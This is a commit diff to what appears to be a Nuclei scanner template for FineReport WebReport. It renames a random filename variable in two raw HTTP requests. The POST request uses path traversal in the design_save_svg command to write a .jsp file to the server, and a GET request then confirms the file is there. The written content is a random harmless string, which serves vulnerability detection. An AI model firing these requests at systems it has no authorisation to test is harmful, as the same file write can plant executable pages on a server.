added filename variable

patch-1
Dhiyaneshwaran 2023-08-23 18:50:56 +05:30 committed by GitHub
parent 450c8454ff
commit 5f712d1d8d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 2 deletions

View File

@ -12,18 +12,19 @@ info:
variables:
string: '{{rand_base(8, "abc")}}'
filename: '{{rand_base(8)}}'
http:
- raw:
- |
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/{{randstr}}.jsp HTTP/1.1
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/{{filename}}.jsp HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml;charset=UTF-8
{"__CONTENT__":"{{string}}","__CHARSET__":"UTF-8"}
- |
GET /WebReport/{{randstr}}.jsp HTTP/1.1
GET /WebReport/{{filename}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers: